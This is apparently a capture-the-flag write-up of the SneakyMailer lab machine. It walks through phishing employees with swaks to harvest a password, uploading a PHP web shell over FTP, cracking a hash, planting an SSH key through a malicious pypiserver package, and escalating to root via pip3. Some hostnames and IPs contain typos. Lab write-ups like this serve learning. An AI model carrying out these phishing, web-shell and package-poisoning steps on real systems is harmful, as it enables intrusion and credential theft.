The first thing I noticed was that 10.10.10.197 redirected me to sneakycorp.htb but that I was unable to access the site. I tried entering just sneakycorp.htb into the searchbar but still to no avail. It was only after I added 10.10.10.197 to the /etc/host file and linked it to sneakcorp.htb that I would be redirected to the site after entering 10.10.10.197 in the searchbar.

I go to the teams link in the sidebar, and see that there are a bunch of emails. I write a quick script that extracts the email using python and use swaks to send emails out to everyone. At first, I tried attaching a payload to my email but that didn't work. I then tried sending a link to see if anyone would click on it. I set up an http server on port 8000 using python and an ncat listener on port 80. Specifically, the command I used was:
swaks --header 'http://10.10.14.17' --body 'http://10.10.10.14.17:8000 user password update sneaky mail' -- to user@sneakmailer.htb -s 10.10.10.197
I got a response on my ncat listener on port 80 from Paul Byrd, who also sent the password that could be decoded using url decoding. An interesting observation was that if I attach a payload to the email, my machine will not be reached.

I then tried using the credential to log into the ftp or ssh server because both ports were open but neither worked. I then tried logging into Paul's email account. I did this using a tool called Evolution. Evolution is a mail management software. When I first started it up, there were several fields I had to input / set in order for me to access Paul's email account. Most things were standard / pretty intuitive. However, the receiving emails port must be 993 in order for the TLS handshake to succeed, and the sending emails port should be port 25. The other options might work, but when I tried inputting port 25 for the receiving mails port, the tls authentication failed. After getting access to Paul's account, I found more credentials in the sent emails folder, one of them being the password for the user developer.

I then use ftp 10.10.10.197 to log in as developer. At first, I tried uploading a shell.php file to sneakycorp.htb but it didn't work. I then realized that I had to add dev.sneakycorp.htb to my /etc/hosts file and then start my shell from dev.sneakycorp.htb/shell.php. I did this and was able to get a shell. I then did some enumeration and found a .htpasswd file in the pypi.sneakycorp.htb directory. Using john the ripper / the command john hash.txt -w=rockyou.txt, I was able to crack the hash. An $apr1$ hash is a reference to Apache.

The attack method after this is to use pypi, the python package manager, to create an ssh key that will allow you to login as user on the machine. We first create a .pypirc file and a setup.py file. A .pypirc file is a file that allows us to define the configuration for package indexes / repositories so that you don't have to enter the url, username, or password whenever you upload a package. The setup.py file can be found here: https://packaging.python.org/tutorials/packaging-projects/. By adding pypi.sneakymailer.htb to our hosts file, and then visiting pypi.sneakymailer.htb:8080,

we can learn more about the pypiserver package installation method. The two important files we need to create for this exploit is the .pypirc file and the setup.py file.

I first create a folder in the /tmp directory for the setup. In this directory, I use curl and ssh-keygen to get all of the important files I need for the exploit.

1. I create the .pypirc file following the model found here in 6.3: https://docs.python.org/3.3/distutils/packageindex.html
2. I then use the command on the exploited machine:

ssh-keygen -b 2048 -t rsa -f key -N “”
to generate an rsa key. This creates both a public and private key. I choose RSA because its one of the listed encryption schemes in the nmap scan. The types of ssh validation can also be viewed in the /etc/ssh folder. I see that there is an authorized keys file in the .ssh folder in /home/low.

3. In my local machine, I create a setup.py file following the model from https://packaging.python.org/tutorials/packaging-projects/ with some minor adjustments. Specifically, I replace the “with...open” lines with my own “with...open” lines which allow me to edit the authorized_keys file in /home/low. I write the generated public ssh key (from the exploited machine) to the setup.py file (also replacing developer@sneakymailer with root@kali at the end of the public ssh key) and then use curl to place this file in the exploited machine. I also copy the private ssh key from the exploited machine to my local machine for later use. Ultimately, the idea is that the setup.py file writes the public key into the authorized_keys file in /home/low and then I use the private ssh key on my local machine to login as the user low.
4. With both .pypirc and setup.py in the tmp directory, I first change the HOME environment so that the .pypirc file can be used in setup.py This step is essential, otherwise the exploit won’t work. I do this with the command HOME=$(pwd). This basically changes the HOME environment to /tmp/folder_name. Finally, I run the setup command which is python3 setup.py sdist register -r pypi upload -r pypi. The public key has been written to the authorized_keys file.

I ssh into /low/home and do sudo -l to see which command has root permissions. I see that it is pip3 and use the steps here to get root access:
https://www.hackingarticles.in/linux-for-pentester-pip-privilege-escalation/